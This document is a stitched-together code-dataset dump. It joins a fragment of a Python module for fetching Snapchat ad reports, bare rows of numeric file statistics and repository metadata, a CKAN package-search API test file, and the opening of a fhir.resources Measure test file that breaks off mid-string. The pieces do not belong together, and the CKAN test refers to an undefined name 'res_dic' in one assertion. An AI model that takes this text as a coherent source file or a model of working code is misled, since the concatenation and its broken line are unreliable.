tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_squad_id', source_value_column='ad_squad_status', target_value_column='ad_squad_status', only_missing_values=[None, ''] ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_squad_id', source_value_column='ad_squad_placement', target_value_column='ad_squad_placement', only_missing_values=[None, ''] ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_squad_id', source_value_column='ad_squad_optimization_goal', target_value_column='ad_squad_optimization_goal', only_missing_values=[None, ''] ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_squad_id', source_value_column='ad_squad_bid', target_value_column='ad_squad_bid', only_missing_values=[None, ''] ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_squad_id', source_value_column='ad_squad_billing_event', target_value_column='ad_squad_billing_event', only_missing_values=[None, ''] ), ] @property def parse_tags_mutation_specifier(self) -> Optional[tasks_fetch_entity.ParseTagsMutationSpecifier]: return tasks_fetch_entity.ParseTagsMutationSpecifier( parser=tasks_fetch_entity.ParseTagsMutationSpecifier.task_parser_name(self, 'snapchat-adgroup'), channel='snapchat', entity='adgroup', name_column='ad_squad_name', id_column='ad_squad_id' ) @property def fetched_currency_column(self) -> str: return 'account_currency' @property def money_columns(self) -> List[str]: return [ 'spend', 'ad_squad_daily_budget', 'ad_squad_bid', 'campaign_daily_budget', 'campaign_lifetime_spend_cap', ] @property def default_fetch_columns(self) -> List[str]: return [ 'impressions', 'swipes', 'screen_time_millis', 'quartile_1', 'quartile_2', 'quartile_3', 'view_completion', 'spend', 'video_views', 'frequency', 'uniques', 'swipe_up_percent' ] class FetchSnapchatAdsReportTask(FetchSnapchatReportTask, tasks_fetch_entity.FetchAdReportTask): @property def task_type(self) -> models.ReportTaskType: return models.ReportTaskType.fetch_snapchat_ads @property def report_table_model(self) -> models.ReportTableModel: return models.SnapchatAdReportTableModel(schema_name=self.report_table_schema) @property def latest_value_mutation_specifiers(self) -> List[Dict[str, any]]: return [ tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='campaign_id', source_value_column='campaign_name', target_value_column='latest_campaign_name' ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_id', source_value_column='ad_name', target_value_column='ad_name', only_missing_values=[None, ''] ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_id', source_value_column='ad_squad_id', target_value_column='ad_squad_id', only_missing_values=[None, ''] ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_id', source_value_column='ad_status', target_value_column='ad_status', only_missing_values=[None, ''] ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_id', source_value_column='ad_type', target_value_column='ad_type', only_missing_values=[None, ''] ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_id', source_value_column='creative_id', target_value_column='creative_id', only_missing_values=[None, ''] ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_squad_id', source_value_column='ad_squad_name', target_value_column='ad_squad_name', only_missing_values=[None, ''] ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_squad_id', source_value_column='ad_squad_status', target_value_column='ad_squad_status', only_missing_values=[None, ''] ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_squad_id', source_value_column='ad_squad_placement', target_value_column='ad_squad_placement', only_missing_values=[None, ''] ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_squad_id', source_value_column='ad_squad_optimization_goal', target_value_column='ad_squad_optimization_goal', only_missing_values=[None, ''] ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_squad_id', source_value_column='ad_squad_bid', target_value_column='ad_squad_bid', only_missing_values=[None, ''] ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_squad_id', source_value_column='ad_squad_billing_event', target_value_column='ad_squad_billing_event', only_missing_values=[None, ''] ), ] @property def parse_tags_mutation_specifier(self) -> Optional[tasks_fetch_entity.ParseTagsMutationSpecifier]: return tasks_fetch_entity.ParseTagsMutationSpecifier( parser=tasks_fetch_entity.ParseTagsMutationSpecifier.task_parser_name(self), channel='snapchat', entity='ad', name_column='ad_name', id_column='ad_id' ) @property def ad_id_column(self) -> str: return 'ad_id' @property def fetched_currency_column(self) -> str: return 'account_currency' @property def money_columns(self) -> List[str]: return [ 'spend', 'ad_squad_daily_budget', 'ad_squad_bid', 'campaign_daily_budget', 'campaign_lifetime_spend_cap', ] @property def default_fetch_columns(self) -> List[str]: return [ 'impressions', 'swipes', 'screen_time_millis', 'quartile_1', 'quartile_2', 'quartile_3', 'view_completion', 'spend', 'video_views', 'frequency', 'uniques', 'swipe_up_percent' ]
31.660714
108
0.699756
1,137
10,638
6.108179
0.111697
0.063355
0.078618
0.069978
0.829086
0.811231
0.801008
0.801008
0.801008
0.801008
0
0.001296
0.202294
10,638
336
109
31.660714
0.816993
0
0
0.754902
0
0
0.166181
0.044929
0
0
0
0
0.003268
1
0.091503
false
0
0.019608
0.081699
0.228758
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7fe19f1d462e5ee0d16a162d1ceb3cb8a5838dc6
20,836
py
Python
ckan/tests/functional/api/test_package_search.py
Gnafu/ckan
d81f69b90291e50ef7e85821ccb83daa94eb3bb7
[ "BSD-3-Clause" ]
2
2021-02-19T20:06:52.000Z
2021-04-15T20:42:11.000Z
ckan/tests/functional/api/test_package_search.py
Gnafu/ckan
d81f69b90291e50ef7e85821ccb83daa94eb3bb7
[ "BSD-3-Clause" ]
null
null
null
ckan/tests/functional/api/test_package_search.py
Gnafu/ckan
d81f69b90291e50ef7e85821ccb83daa94eb3bb7
[ "BSD-3-Clause" ]
4
2016-12-17T22:26:06.000Z
2017-01-20T21:51:24.000Z
from nose.tools import assert_raises from nose.plugins.skip import SkipTest from urllib import quote from ckan import plugins import ckan.lib.search as search from ckan.tests import setup_test_search_index from ckan.tests.functional.api.base import * from ckan.tests import TestController as ControllerTestCase from ckan.controllers.api import ApiController from webob.multidict import UnicodeMultiDict class PackageSearchApiTestCase(ApiTestCase, ControllerTestCase): @classmethod def setup_class(self): setup_test_search_index() CreateTestData.create() self.package_fixture_data = { 'name' : u'testpkg', 'title': 'Some Title', 'url': u'http://blahblahblah.mydomain', 'resources': [{u'url':u'http://blahblahblah.mydomain', u'format':u'', u'description':''}], 'tags': ['russion', 'novel'], 'license_id': u'gpl-3.0', 'extras': {'national_statistic':'yes', 'geographic_coverage':'England, Wales'}, } CreateTestData.create_arbitrary(self.package_fixture_data) self.base_url = self.offset('/search/dataset') @classmethod def teardown_class(cls): model.repo.rebuild_db() search.clear() def assert_results(self, res_dict, expected_package_names): expected_pkgs = [self.package_ref_from_name(expected_package_name) \ for expected_package_name in expected_package_names] assert_equal(set(res_dict['results']), set(expected_pkgs)) def test_00_read_search_params(self): def check(request_params, expected_params): params = ApiController._get_search_params(request_params) assert_equal(params, expected_params) # uri parameters check(UnicodeMultiDict({'q': '', 'ref': 'boris'}), {"q": "", "ref": "boris"}) # uri json check(UnicodeMultiDict({'qjson': '{"q": "", "ref": "boris"}'}), {"q": "", "ref": "boris"}) # posted json check(UnicodeMultiDict({'{"q": "", "ref": "boris"}': u'1'}), {"q": "", "ref": "boris"}) check(UnicodeMultiDict({'{"q": "", "ref": "boris"}': u''}), {"q": "", "ref": "boris"}) # no parameters check(UnicodeMultiDict({}), {}) def test_00_read_search_params_with_errors(self): def check_error(request_params): assert_raises(ValueError, ApiController._get_search_params, request_params) # uri json check_error(UnicodeMultiDict({'qjson': '{"q": illegal json}'})) # posted json check_error(UnicodeMultiDict({'{"q": illegal json}': u'1'})) def test_01_uri_q(self): offset = self.base_url + '?q=%s' % self.package_fixture_data['name'] res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, ['testpkg']) assert res_dict['count'] == 1, res_dict['count'] def test_02_post_q(self): offset = self.base_url query = {'q':'testpkg'} res = self.app.post(offset, params=query, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, ['testpkg']) assert res_dict['count'] == 1, res_dict['count'] def test_03_uri_qjson(self): query = {'q': self.package_fixture_data['name']} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, ['testpkg']) assert res_dict['count'] == 1, res_dict['count'] def test_04_post_json(self): query = {'q': self.package_fixture_data['name']} json_query = self.dumps(query) offset = self.base_url res = self.app.post(offset, params=json_query, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, ['testpkg']) assert res_dict['count'] == 1, res_dict['count'] def test_05_uri_json_tags(self): query = {'q': 'annakarenina tags:russian tags:tolstoy'} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, [u'annakarenina']) assert res_dict['count'] == 1, res_dict def test_05_uri_json_tags_multiple(self): query = {'q': 'tags:russian tags:tolstoy'} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, [u'annakarenina']) assert res_dict['count'] == 1, res_dict def test_06_uri_q_tags(self): query = webhelpers.util.html_escape('annakarenina tags:russian tags:tolstoy') offset = self.base_url + '?q=%s' % query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, [u'annakarenina']) assert res_dict['count'] == 1, res_dict['count'] def test_08_uri_qjson_malformed(self): offset = self.base_url + '?qjson="q":""' # user forgot the curly braces res = self.app.get(offset, status=400) self.assert_json_response(res, 'Bad request - Could not read parameters') def test_09_just_tags(self): offset = self.base_url + '?q=tags:russian' res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 2, res_dict def test_10_multiple_tags(self): offset = self.base_url + '?q=tags:tolstoy tags:russian' res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 1, res_dict def test_12_all_packages_qjson(self): query = {'q': ''} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert_equal(res_dict['count'], 3) def test_12_all_packages_q(self): offset = self.base_url + '?q=""' res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert_equal(res_dict['count'], 3) def test_12_all_packages_no_q(self): offset = self.base_url res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert_equal(res_dict['count'], 3) def test_12_filter_by_openness(self): offset = self.base_url + '?filter_by_openness=1' res = self.app.get(offset, status=400) # feature dropped in #1360 assert "'filter_by_openness'" in res.body, res.body def test_12_filter_by_downloadable(self): offset = self.base_url + '?filter_by_downloadable=1' res = self.app.get(offset, status=400) # feature dropped in #1360 assert "'filter_by_downloadable'" in res.body, res.body class LegacyOptionsTestCase(ApiTestCase, ControllerTestCase): '''Here are tests with URIs in the syntax they were in for API v1 and v2.''' @classmethod def setup_class(self): setup_test_search_index() CreateTestData.create() self.package_fixture_data = { 'name' : u'testpkg', 'title': 'Some Title', 'url': u'http://blahblahblah.mydomain', 'resources': [{u'url':u'http://blahblahblah.mydomain', u'format':u'', u'description':''}], 'tags': ['russion', 'novel'], 'license_id': u'gpl-3.0', 'extras': {'national_statistic':'yes', 'geographic_coverage':'England, Wales'}, } CreateTestData.create_arbitrary(self.package_fixture_data) self.base_url = self.offset('/search/dataset') @classmethod def teardown_class(cls): model.repo.rebuild_db() search.clear() def test_07_uri_qjson_tags(self): query = {'q': '', 'tags':['tolstoy']} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, [u'annakarenina']) assert res_dict['count'] == 1, res_dict def test_07_uri_qjson_tags_with_flexible_query(self): query = {'q': '', 'tags':['Flexible \u30a1']} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, [u'annakarenina', u'warandpeace']) assert res_dict['count'] == 2, res_dict def test_07_uri_qjson_tags_multiple(self): query = {'q': '', 'tags':['tolstoy', 'russian', u'Flexible \u30a1']} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query print offset res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, [u'annakarenina']) assert res_dict['count'] == 1, res_dict def test_07_uri_qjson_tags_reverse(self): query = {'q': '', 'tags':['russian']} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, [u'annakarenina', u'warandpeace']) assert res_dict['count'] == 2, res_dict def test_07_uri_qjson_extras(self): # TODO: solr is not currently set up to allow partial matches # and extras are not saved as multivalued so this # test will fail. Make extras multivalued or remove? raise SkipTest() query = {"geographic_coverage":"England"} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, ['testpkg']) assert res_dict['count'] == 1, res_dict def test_07_uri_qjson_extras_2(self): query = {"national_statistic":"yes"} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, ['testpkg']) assert res_dict['count'] == 1, res_dict def test_08_all_fields(self): rating = model.Rating(user_ip_address=u'123.1.2.3', package=self.anna, rating=3.0) model.Session.add(rating) model.repo.commit_and_remove() query = {'q': 'russian', 'all_fields': 1} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 2, res_dict for rec in res_dict['results']: if rec['name'] == 'annakarenina': anna_rec = rec break assert anna_rec['name'] == 'annakarenina', res_dict['results'] assert anna_rec['title'] == 'A Novel By Tolstoy', anna_rec['title'] assert anna_rec['license_id'] == u'other-open', anna_rec['license_id'] assert len(anna_rec['tags']) == 3, anna_rec['tags'] for expected_tag in ['russian', 'tolstoy', u'Flexible \u30a1']: assert expected_tag in anna_rec['tags'], anna_rec['tags'] # try alternative syntax offset = self.base_url + '?q=russian&all_fields=1' res2 = self.app.get(offset, status=200) assert_equal(res2.body, res.body) def test_08_all_fields_syntax_error(self): offset = self.base_url + '?all_fields=should_be_boolean' # invalid all_fields value res = self.app.get(offset, status=400) assert('boolean' in res.body) assert('all_fields' in res.body) self.assert_json_response(res, 'boolean') def test_09_just_tags(self): offset = self.base_url + '?tags=tolstoy' res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 1, res_dict def test_10_single_tag_with_plus(self): tagname = "Flexible+" + quote(u'\u30a1'.encode('utf8')) offset = self.base_url + "?tags=%s&all_fields=1"%tagname res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 2, res_dict def test_10_multi_tags_with_ampersand_including_a_multiword_tagame(self): tagname = "Flexible+" + quote(u'\u30a1'.encode('utf8')) offset = self.base_url + '?tags=tolstoy&tags=%s&all_fields=1' % tagname res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 1, res_dict def test_10_multiple_tags_with_ampersand(self): offset = self.base_url + '?tags=tolstoy&tags=russian&all_fields=1' res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 1, res_dict def test_10_many_tags_with_ampersand(self): offset = self.base_url + '?tags=tolstoy&tags=russian&tags=tolstoy' res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 1, res_dict def test_11_pagination_limit(self): offset = self.base_url + '?all_fields=1&q=tags:russian&limit=1&order_by=name' res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 2, res_dict assert len(res_dict['results']) == 1, res_dict assert res_dict['results'][0]['name'] == 'annakarenina', res_dict['results'][0]['name'] def test_11_pagination_offset_limit(self): offset = self.base_url + '?all_fields=1&q=tags:russian&offset=1&limit=1&order_by=name' res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 2, res_dict assert len(res_dict['results']) == 1, res_dict assert res_dict['results'][0]['name'] == 'warandpeace', res_dict['results'][0]['name'] def test_11_pagination_syntax_error(self): offset = self.base_url + '?all_fields=1&q="tags:russian"&start=should_be_integer&rows=1&order_by=name' # invalid offset value res = self.app.get(offset, status=400) print res.body assert('should_be_integer' in res.body) def test_13_just_groups(self): offset = self.base_url + '?groups=roger' res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 1, res_dict def test_14_empty_parameter_ignored(self): offset = self.base_url + '?groups=roger&title=' res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 1, res_dic class TestPackageSearchApi1(Api1TestCase, PackageSearchApiTestCase, LegacyOptionsTestCase): pass class TestPackageSearchApi2(Api2TestCase, PackageSearchApiTestCase, LegacyOptionsTestCase): pass class TestPackageSearchApi3(Api3TestCase, PackageSearchApiTestCase): '''Here are tests with URIs in specifically SOLR syntax.''' def test_07_uri_qjson_tags(self): query = {'q': 'tags:tolstoy'} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, [u'annakarenina']) assert res_dict['count'] == 1, res_dict def test_07_uri_qjson_tags_with_unicode(self): query = {'q': u'tags:"Flexible \u30a1"'} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, [u'annakarenina', u'warandpeace']) assert res_dict['count'] == 2, res_dict def test_07_uri_qjson_tags_multiple(self): query = {'q': 'tags:tolstoy tags:russian'} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query print offset res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, [u'annakarenina']) assert res_dict['count'] == 1, res_dict def test_07_uri_qjson_tags_reverse(self): query = {'q': 'tags:russian'} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, [u'annakarenina', u'warandpeace']) assert res_dict['count'] == 2, res_dict def test_07_uri_qjson_extras_2(self): query = {'q': "national_statistic:yes"} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) self.assert_results(res_dict, ['testpkg']) assert res_dict['count'] == 1, res_dict def test_08_all_fields(self): query = {'q': 'russian', 'fl': '*'} json_query = self.dumps(query) offset = self.base_url + '?qjson=%s' % json_query res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 2, res_dict for rec in res_dict['results']: if rec['name'] == 'annakarenina': anna_rec = rec break assert anna_rec['name'] == 'annakarenina', res_dict['results'] assert anna_rec['title'] == 'A Novel By Tolstoy', anna_rec['title'] assert anna_rec['license_id'] == u'other-open', anna_rec['license_id'] assert len(anna_rec['tags']) == 3, anna_rec['tags'] for expected_tag in ['russian', 'tolstoy', u'Flexible \u30a1']: assert expected_tag in anna_rec['tags'] # try alternative syntax offset = self.base_url + '?q=russian&fl=*' res2 = self.app.get(offset, status=200) assert_equal(res2.body, res.body) def test_09_just_tags(self): offset = self.base_url + '?q=tags:russian&fl=*' res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 2, res_dict def test_11_pagination_limit(self): offset = self.base_url + '?fl=*&q=tags:russian&rows=1&sort=name asc' res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 2, res_dict assert len(res_dict['results']) == 1, res_dict assert res_dict['results'][0]['name'] == 'annakarenina', res_dict['results'][0]['name'] def test_11_pagination_offset_limit(self): offset = self.base_url + '?fl=*&q=tags:russian&start=1&rows=1&sort=name asc' res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 2, res_dict assert len(res_dict['results']) == 1, res_dict assert res_dict['results'][0]['name'] == 'warandpeace', res_dict['results'][0]['name'] def test_11_pagination_syntax_error(self): offset = self.base_url + '?fl=*&q=tags:russian&start=should_be_integer&rows=1&sort=name asc' # invalid offset value res = self.app.get(offset, status=400) print res.body assert('should_be_integer' in res.body) def test_12_v1_or_v2_syntax(self): offset = self.base_url + '?all_fields=1' res = self.app.get(offset, status=400) assert("Invalid search parameters: ['all_fields']" in res.body), res.body def test_13_just_groups(self): offset = self.base_url + '?q=groups:roger' res = self.app.get(offset, status=200) res_dict = self.data_from_res(res) assert res_dict['count'] == 1, res_dict class TestPackageSearchApiUnversioned(PackageSearchApiTestCase, ApiUnversionedTestCase, LegacyOptionsTestCase): pass
42.784394
133
0.621712
2,767
20,836
4.436935
0.093242
0.085526
0.043903
0.065081
0.819989
0.795716
0.762483
0.742445
0.734381
0.723711
0
0.023274
0.243185
20,836
486
134
42.872428
0.755279
0.020733
0
0.692875
0
0.009828
0.149541
0.029839
0
0
0
0.002058
0.22113
0
null
null
0.007371
0.02457
null
null
0.009828
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
3d22e446ec5128da257091fd0e8256fd933f97cc
34,708
py
Python
tests/test_measure.py
glichtner/fhir.resources
94896d8f8a0b7dd69253762aab968f4fd6eb69a0
[ "BSD-3-Clause" ]
null
null
null
tests/test_measure.py
glichtner/fhir.resources
94896d8f8a0b7dd69253762aab968f4fd6eb69a0
[ "BSD-3-Clause" ]
null
null
null
tests/test_measure.py
glichtner/fhir.resources
94896d8f8a0b7dd69253762aab968f4fd6eb69a0
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """ Profile: http://hl7.org/fhir/StructureDefinition/Measure Release: R5 Version: 4.5.0 Build ID: 0d95498 Last updated: 2021-04-03T00:34:11.075+00:00 """ from pydantic.validators import bytes_validator # noqa: F401 from fhir.resources import fhirtypes # noqa: F401 from fhir.resources import measure def impl_measure_1(inst): assert inst.group[0].id == "Main" assert inst.group[0].population[0].code.coding[0].code == "initial-population" assert inst.group[0].population[0].criteria.expression == "Initial Population" assert inst.group[0].population[0].criteria.language == "text/cql" assert inst.group[0].population[1].code.coding[0].code == "denominator" assert inst.group[0].population[1].criteria.expression == "Denominator" assert inst.group[0].population[1].criteria.language == "text/cql" assert inst.group[0].population[2].code.coding[0].code == "numerator" assert inst.group[0].population[2].criteria.expression == "Numerator" assert inst.group[0].population[2].criteria.language == "text/cql" assert inst.id == "component-a-example" assert inst.meta.tag[0].code == "HTEST" assert inst.meta.tag[0].display == "test health data" assert ( inst.meta.tag[0].system == "http://terminology.hl7.org/CodeSystem/v3-ActReason" ) assert inst.scoring.coding[0].code == "proportion" assert inst.status == "draft" assert inst.text.status == "generated" assert inst.title == "Screening for Alcohol Misuse" def test_measure_1(base_settings): """No. 1 tests collection for Measure. Test File: measure-component-a-example.json """ filename = base_settings["unittest_data_dir"] / "measure-component-a-example.json" inst = measure.Measure.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Measure" == inst.resource_type impl_measure_1(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Measure" == data["resourceType"] inst2 = measure.Measure(**data) impl_measure_1(inst2) def impl_measure_2(inst): assert inst.date == fhirtypes.DateTime.validate("2015-03-08") assert inst.description == ( "Exclusive breastfeeding measure of outcomes for exclusive " "breastmilk feeding of newborns." ) assert inst.group[0].id == "PopulationGroup1" assert inst.group[0].population[0].code.coding[0].code == "initial-population" assert inst.group[0].population[0].criteria.expression == "InitialPopulation1" assert inst.group[0].population[0].criteria.language == "text/cql" assert inst.group[0].population[1].code.coding[0].code == "denominator" assert inst.group[0].population[1].criteria.expression == "Denominator1" assert inst.group[0].population[1].criteria.language == "text/cql" assert inst.group[0].population[2].code.coding[0].code == "denominator-exclusions" assert inst.group[0].population[2].criteria.expression == "DenominatorExclusions1" assert inst.group[0].population[2].criteria.language == "text/cql" assert inst.group[0].population[3].code.coding[0].code == "numerator" assert inst.group[0].population[3].criteria.expression == "Numerator1" assert inst.group[0].population[3].criteria.language == "text/cql" assert inst.group[1].id == "PopulationGroup2" assert inst.group[1].population[0].code.coding[0].code == "initial-population" assert inst.group[1].population[0].criteria.expression == "InitialPopulation2" assert inst.group[1].population[0].criteria.language == "text/cql" assert inst.group[1].population[1].code.coding[0].code == "denominator" assert inst.group[1].population[1].criteria.expression == "Denominator2" assert inst.group[1].population[1].criteria.language == "text/cql" assert inst.group[1].population[2].code.coding[0].code == "denominator-exclusion" assert inst.group[1].population[2].criteria.expression == "DenominatorExclusions2" assert inst.group[1].population[2].criteria.language == "text/cql" assert inst.group[1].population[3].code.coding[0].code == "numerator" assert inst.group[1].population[3].criteria.expression == "Numerator2" assert inst.group[1].population[3].criteria.language == "text/cql" assert inst.id == "measure-exclusive-breastfeeding" assert inst.identifier[0].use == "official" assert inst.identifier[0].value == "exclusive-breastfeeding-measure" assert inst.improvementNotation.coding[0].code == "increase" assert inst.improvementNotation.coding[0].system == ( "http://terminology.hl7.org/CodeSystem/measure-improvement-" "notation" ) assert inst.library[0] == ( "http://example.org/fhir/Library/library-exclusive-" "breastfeeding-cqm-logic" ) assert inst.meta.tag[0].code == "HTEST" assert inst.meta.tag[0].display == "test health data" assert ( inst.meta.tag[0].system == "http://terminology.hl7.org/CodeSystem/v3-ActReason" ) assert inst.purpose == ( "Measure of newborns who were fed breast milk only since " "birth" ) assert inst.relatedArtifact[0].citation == ( "American Academy of Pediatrics. (2005). Section on " "Breastfeeding. Policy Statement:Breastfeeding and the Use of" " Human Milk. Pediatrics.115:496-506." ) assert inst.relatedArtifact[0].type == "documentation" assert inst.relatedArtifact[1].type == "documentation" assert inst.relatedArtifact[2].type == "documentation" assert inst.relatedArtifact[3].type == "documentation" assert inst.relatedArtifact[4].type == "documentation" assert inst.relatedArtifact[5].type == "documentation" assert inst.relatedArtifact[6].citation == ( "Kramer, M.S. & Kakuma, R. (2002).Optimal duration of " "exclusive breastfeeding. [107 refs] Cochrane Database of " "Systematic Reviews. (1):CD003517." ) assert inst.relatedArtifact[6].type == "documentation" assert inst.relatedArtifact[7].citation == ( "Petrova, A., Hegyi, T., & Mehta, R. (2007). Maternal " "race/ethnicity and one-month exclusive breastfeeding in " "association with the in-hospital feeding modality. " "Breastfeeding Medicine. 2(2):92-8." ) assert inst.relatedArtifact[7].type == "documentation" assert inst.relatedArtifact[8].type == "documentation" assert inst.relatedArtifact[9].type == "documentation" assert inst.scoring.coding[0].code == "proportion" assert inst.status == "active" assert inst.text.status == "generated" assert inst.title == "Exclusive Breastfeeding Measure" assert inst.topic[0].text == "Exclusive Breastfeeding" assert inst.type[0].coding[0].code == "process" assert inst.version == "4.5.0" def test_measure_2(base_settings): """No. 2 tests collection for Measure. Test File: measure-exclusive-breastfeeding.json """ filename = ( base_settings["unittest_data_dir"] / "measure-exclusive-breastfeeding.json" ) inst = measure.Measure.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Measure" == inst.resource_type impl_measure_2(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Measure" == data["resourceType"] inst2 = measure.Measure(**data) impl_measure_2(inst2) def impl_measure_3(inst): assert inst.date == fhirtypes.DateTime.validate("2018-03-08") assert inst.experimental is True assert inst.group[0].code.coding[0].code == "QRPH_ADX_ART1_N" assert inst.group[0].code.coding[0].system == "http://ihe.net/qrph/adx/" assert inst.group[0].description == ( "Number of adults and children newly enrolled on " "antiretroviral therapy (ART) in the reporting period" ) assert inst.group[0].population[0].code.text == "cohort" assert inst.group[0].population[0].criteria.expression == ( "Newly enrolled on antiretroviral therapy (ART) during " "measurement period" ) assert inst.group[0].population[0].criteria.language == "text/cql" assert inst.group[0].stratifier[0].code.coding[0].code == "AGE_GROUP:SEX" assert ( inst.group[0].stratifier[0].code.coding[0].system == "http://ihe.net/qrph/adx/" ) assert inst.group[0].stratifier[0].criteria.expression == "Age Group/Sex" assert inst.group[0].stratifier[0].criteria.language == "text/cql" assert inst.group[1].code.coding[0].code == "QRPH_ADX_ART1_N_PREG_BF" assert inst.group[1].code.coding[0].system == "http://ihe.net/qrph/adx/" assert inst.group[1].description == ( "Number of adults and children newly enrolled on ART in the " "reporting period_pregnant and breastfeeding" ) assert inst.group[1].population[0].code.text == "cohort" assert inst.group[1].population[0].criteria.expression == ( "Newly enrolled on antiretroviral therapy (ART) during " "measurement period (pregnant and breastfeeding)" ) assert inst.group[1].population[0].criteria.language == "text/cql" assert inst.group[1].stratifier[0].code.coding[0].code == "PREG_BF" assert ( inst.group[1].stratifier[0].code.coding[0].system == "http://ihe.net/qrph/adx/" ) assert inst.group[1].stratifier[0].criteria.expression == "Pregnant/Breastfeeding" assert inst.group[1].stratifier[0].criteria.language == "text/cql" assert inst.group[2].code.coding[0].code == "QRPH_ADX_ART3_N" assert inst.group[2].code.coding[0].system == "http://ihe.net/qrph/adx/" assert inst.group[2].description == ( "Number of adults and children currently receiving " "antiretroviral therapy (ART)" ) assert inst.group[2].population[0].code.text == "cohort" assert inst.group[2].population[0].criteria.expression == ( "Receiving antiretroviral therapy (ART) during measurement " "period" ) assert inst.group[2].population[0].criteria.language == "text/cql" assert inst.group[3].code.coding[0].code == "QRPH_ADX_ART5_N" assert inst.group[3].code.coding[0].system == "http://ihe.net/qrph/adx/" assert inst.group[3].description == ( "Number of adults and children who are still on treatment at " "12 months after initiating ART" ) assert inst.group[3].population[0].code.text == "cohort" assert inst.group[3].population[0].criteria.expression == ( "Receiving antiretroviral therapy 